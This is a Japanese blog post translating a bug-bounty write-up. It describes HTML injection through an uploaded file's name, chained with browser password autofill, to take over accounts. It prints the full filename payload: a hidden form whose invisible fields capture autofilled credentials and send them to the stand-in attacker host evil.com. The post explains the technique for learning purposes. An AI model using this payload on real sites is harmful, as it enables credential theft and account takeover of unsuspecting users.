Shikata Ga Nai

Private? There is no such things.

Exploiting Auto-save Functionality To Steal Login Credentialsを訳してみた

Hello there, ('ω')ノ

 

自動保存機能を利用してログイン資格情報を盗むを。

 

脆弱性:

 HTMLインジェクション

 

記事:

 https://saadahmedx.medium.com/exploiting-auto-save-functionality-to-steal-login-credentials-bf4c7e1594da

 

自動保存機能を悪用/連鎖して、被害者のアカウントを乗っ取ることに。

private.comと仮定して。

Webサイトを探索しているときに、適切にサニタイズして。

ファイルアップロード機能を入力していると注意を引いて。


まずは、ファイルをアップロードすると。

共有できる公開リンクがあって。

アップロードしたファイルを他の人も見ることができるので。

アップロードのチェックをバイパスして、SVG、HTML、PHPを実行したものの。

うまくいかなかったので、ファイルの名前を<h1>xd.jpgに変更して。

パブリックリンクからファイルにアクセスすると。

ファイル名が原因でHTMLが挿入されるので。

ここで、HTMLインジェクションを取得して。

 

次の部分は、自動保存された機能で。

基本的に、ブラウザにログインクレデンシャルを保存して。

アカウントにログインしようとすると。

ブラウザが自動的に電子メールを入力してパスするので。

ログインをクリックするだけでいいので。

ログインフォームを作成し、CSSでopacity:0を設定して。

メールとパスワードのフィールドを非表示にすることに。

最終的にファイル名は、『.jpg』となって。

 

 “>

 <form action=”//evil.commethod=”GET”>

 <input type=”text” name=”u” style=’opacity:0;’>

 <input type=”password” name=”p” style=’opacity:0;’>

 <input type=”submit” name=”s” value=”submit”>

 <! -- .jpg

 

f:id:ThisIsOne:20210806084246p:plain

 

下記は、アップロードしたファイルのパブリックリンクを取得できる場所で。

 

f:id:ThisIsOne:20210806084312p:plain

 

下記は、アップロードしたファイルの公開URLにアクセスした後のページの外観で。

ペイロードのsubmitボタンが表示されて。

 

f:id:ThisIsOne:20210806084334p:plain

 

誰かがクリックすると。

自分のアカウントのログイン資格情報を攻撃者のサーバに送信されて。

 

f:id:ThisIsOne:20210806084401p:plain

 

これがどのように機能するかというと。

自動保存された機能によって、入力フィールドは自動的に入力されて。

style=’opacity:0;’で、ページに表示されている詳細を非表示にして。


フォームを送信するとき、form actionでmethod=”GET”に設定したので。

ログイン資格情報がGETリクエストとともにevil.comに送信されるので。

詳細は自動的にevil.comに送信されて。

これは攻撃者のドメインで。

最後の<! --で、ページ上のすべてのHTMLをコメントアウトして。

 

Best regards, (^^ゞ